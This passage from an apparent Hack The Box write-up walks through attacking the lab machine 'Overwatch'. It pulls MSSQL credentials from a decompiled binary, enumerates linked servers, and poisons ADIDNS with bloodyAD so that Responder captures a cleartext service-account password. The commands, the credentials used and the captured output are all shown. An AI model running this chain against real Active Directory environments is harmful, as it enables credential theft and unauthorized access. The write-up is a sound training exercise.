        <span class="nt">&lt;endpoint</span> <span class="na">address=</span><span class="s">"mex"</span> <span class="na">binding=</span><span class="s">"mexHttpBinding"</span> <span class="na">contract=</span><span class="s">"IMetadataExchange"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;/service&gt;</span>
    <span class="nt">&lt;/services&gt;</span>
    <span class="nt">&lt;behaviors&gt;</span>
      <span class="nt">&lt;serviceBehaviors&gt;</span>
        <span class="nt">&lt;behavior&gt;</span>
          <span class="nt">&lt;serviceMetadata</span> <span class="na">httpGetEnabled=</span><span class="s">"True"</span> <span class="nt">/&gt;</span>
          <span class="nt">&lt;serviceDebug</span> <span class="na">includeExceptionDetailInFaults=</span><span class="s">"True"</span> <span class="nt">/&gt;</span>
        <span class="nt">&lt;/behavior&gt;</span>
      <span class="nt">&lt;/serviceBehaviors&gt;</span>
    <span class="nt">&lt;/behaviors&gt;</span>
  <span class="nt">&lt;/system.serviceModel&gt;</span>
  <span class="nt">&lt;entityFramework&gt;</span>
    <span class="nt">&lt;providers&gt;</span>
      <span class="nt">&lt;provider</span> <span class="na">invariantName=</span><span class="s">"System.Data.SqlClient"</span> <span class="na">type=</span><span class="s">"System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;provider</span> <span class="na">invariantName=</span><span class="s">"System.Data.SQLite.EF6"</span> <span class="na">type=</span><span class="s">"System.Data.SQLite.EF6.SQLiteProviderServices, System.Data.SQLite.EF6"</span> <span class="nt">/&gt;</span>
    <span class="nt">&lt;/providers&gt;</span>
  <span class="nt">&lt;/entityFramework&gt;</span>
  <span class="nt">&lt;system.data&gt;</span>
    <span class="nt">&lt;DbProviderFactories&gt;</span>
      <span class="nt">&lt;remove</span> <span class="na">invariant=</span><span class="s">"System.Data.SQLite.EF6"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;add</span> <span class="na">name=</span><span class="s">"SQLite Data Provider (Entity Framework 6)"</span> <span class="na">invariant=</span><span class="s">"System.Data.SQLite.EF6"</span> <span class="na">description=</span><span class="s">".NET Framework Data Provider for SQLite (Entity Framework 6)"</span> <span class="na">type=</span><span class="s">"System.Data.SQLite.EF6.SQLiteProviderFactory, System.Data.SQLite.EF6"</span> <span class="nt">/&gt;</span>
    <span class="nt">&lt;remove</span> <span class="na">invariant=</span><span class="s">"System.Data.SQLite"</span> <span class="nt">/&gt;&lt;add</span> <span class="na">name=</span><span class="s">"SQLite Data Provider"</span> <span class="na">invariant=</span><span class="s">"System.Data.SQLite"</span> <span class="na">description=</span><span class="s">".NET Framework Data Provider for SQLite"</span> <span class="na">type=</span><span class="s">"System.Data.SQLite.SQLiteFactory, System.Data.SQLite"</span> <span class="nt">/&gt;&lt;/DbProviderFactories&gt;</span>
  <span class="nt">&lt;/system.data&gt;</span>
<span class="nt">&lt;/configuration&gt;</span>
</code></pre></div></div>
<p><br /></p>

<p>For <code class="language-plaintext highlighter-rouge">overwatch.exe</code>, I’ll decompile it with <a href="https://www.jetbrains.com/decompiler/">DotPeek</a>. Immediately, I noticed the SQL connection string in <code class="language-plaintext highlighter-rouge">Program.cs</code>:</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/overwatch/dotpeek_main.png" alt="" /></p>

<p>The creds can be used to access MSSQL on port 6520:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/overwatch</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">impacket-mssqlclient -port 6520 overwatch.htb/sqlsvc:'TI0LKcfHzZw1Vv'@10.129.255.36 -windows-auth</span>
<span class="cmd-output">
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">SQL (OVERWATCH\sqlsvc guest@master)&gt;</span></span> <span class="custom-cmd"></span>

<span class="custom-output"></span></pre>
  </div>
</div>

<h3 id="tcp6520---mssql">TCP6520 - MSSQL:</h3>

<p>There’s one non-default database: <code class="language-plaintext highlighter-rouge">overwatch</code>.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">SQL (OVERWATCH\sqlsvc guest@master)&gt;</span></span> <span class="custom-cmd">select name from sys.databases;</span>

<span class="custom-output">name        
---------   
master      

tempdb      

model       

msdb        

overwatch</span></pre>
  </div>
</div>

<p>It has a single table called <code class="language-plaintext highlighter-rouge">Eventlog</code>, but it’s empty.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">SQL (OVERWATCH\sqlsvc guest@master)&gt;</span></span> <span class="custom-cmd">select * from overwatch.information_schema.tables;</span>

<span class="custom-output">TABLE_CATALOG   TABLE_SCHEMA   TABLE_NAME   TABLE_TYPE   
-------------   ------------   ----------   ----------   
overwatch       dbo            Eventlog     b'BASE TABLE'</span>

<span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">SQL (OVERWATCH\sqlsvc guest@master)&gt;</span></span> <span class="custom-cmd">select * from overwatch.dbo.Eventlog;</span>

<span class="custom-output">Id   Timestamp   EventType   Details   
--   ---------   ---------   -------</span></pre>
  </div>
</div>

<p><code class="language-plaintext highlighter-rouge">xp_cmdshell</code> is disabled, and there’s no permissions to impersonate other users either. However, there’s a linked server on <code class="language-plaintext highlighter-rouge">SQL07</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">SQL (OVERWATCH\sqlsvc guest@master)&gt;</span></span> <span class="custom-cmd">exec sp_linkedservers;</span>

<span class="custom-output">SRV_NAME             SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE       SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
------------------   ----------------   -----------   ------------------   ------------------   ------------   -------   
S200401\SQLEXPRESS   SQLNCLI            SQL Server    S200401\SQLEXPRESS   NULL                 NULL           NULL      

SQL07                SQLNCLI            SQL Server    SQL07                NULL                 NULL           NULL</span></pre>
  </div>
</div>

<p>I’ve dealt with linked servers before in <a href="/ghost#mssql-linked-servers">Ghost</a>. Basically it enables connecting external data sources and executing queries on the remote hosts. The permissions can be different on each of them, which can often be abused if misconfigured.</p>

<p>I tried running queries on the remote server, but failed.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">SQL (OVERWATCH\sqlsvc guest@master)&gt;</span></span> <span class="custom-cmd">exec ('select @@version') at [SQL07];</span>

<span class="custom-output">INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Login timeout expired".
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "A network-related or instance-specific error has occurred while establishing a connection to SQL Server. Server is not found or not accessible. Check if instance name is correct and if SQL Server is configured to allow remote connections. For more information see SQL Server Books Online.".
ERROR(MSOLEDBSQL): Line 0: Named Pipes Provider: Could not open a connection to SQL Server [64].</span></pre>
  </div>
</div>

<p>It timed out and couldn’t connect. <code class="language-plaintext highlighter-rouge">SQL07</code> probably doesn’t even exist.</p>

<hr />
<h2 id="foothold">Foothold:</h2>
<h3 id="adidns-poisoning">ADIDNS Poisoning:</h3>

<p>This was also covered in <a href="/ghost#adidns-poisoning">Ghost</a>. By default, all domain users can add DNS entries as long as they don’t already exist. Since MSSQL is linked to a non-existing host <code class="language-plaintext highlighter-rouge">SQL07</code>, I could possibly coerce the box to authenticate to me by creating a new DNS entry for <code class="language-plaintext highlighter-rouge">SQL07</code> pointing to myself and then attempting to execute SQL queries on the linked server.</p>

<p>I’ll first start up <code class="language-plaintext highlighter-rouge">responder</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/overwatch</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sudo responder -I tun0</span>
<span class="cmd-output">
&nbsp;
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR &amp; MDNS Responder 3.1.6.0

  To support this project:
  Github -&gt; https://github.com/sponsors/lgandx
  Paypal  -&gt; https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
..SNIP..

[+] Listening for events...

[!] Error starting UDP server on port 53, check permissions or other servers running.
[!] Error starting TCP server on port 53, check permissions or other servers running.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>And then add a DNS record for <code class="language-plaintext highlighter-rouge">SQL07</code> pointing to myself, which was successful.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/overwatch</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">bloodyAD --host s200401.overwatch.htb -d overwatch.htb -u 'sqlsvc' -p 'TI0LKcfHzZw1Vv' add dnsRecord sql07 10.10.14.12</span>
<span class="cmd-output">[+] sql07 has been successfully added</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>I’ll run the same query on the linked server again. Obviously it failed but with a different error this time.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">SQL (OVERWATCH\sqlsvc guest@master)&gt;</span></span> <span class="custom-cmd">exec ('select @@version') at [SQL07];</span>

<span class="custom-output">INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Communication link failure".
ERROR(MSOLEDBSQL): Line 0: TCP Provider: An existing connection was forcibly closed by the remote host.</span></pre>
  </div>
</div>

<p>On Responder, a cleartext password for <code class="language-plaintext highlighter-rouge">sqlmgmt</code> was captured.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;">[MSSQL] Cleartext Client   : 10.129.225.53
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx</pre>
  </div>
</div>

<p>And it can be used to get a shell with WinRM.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
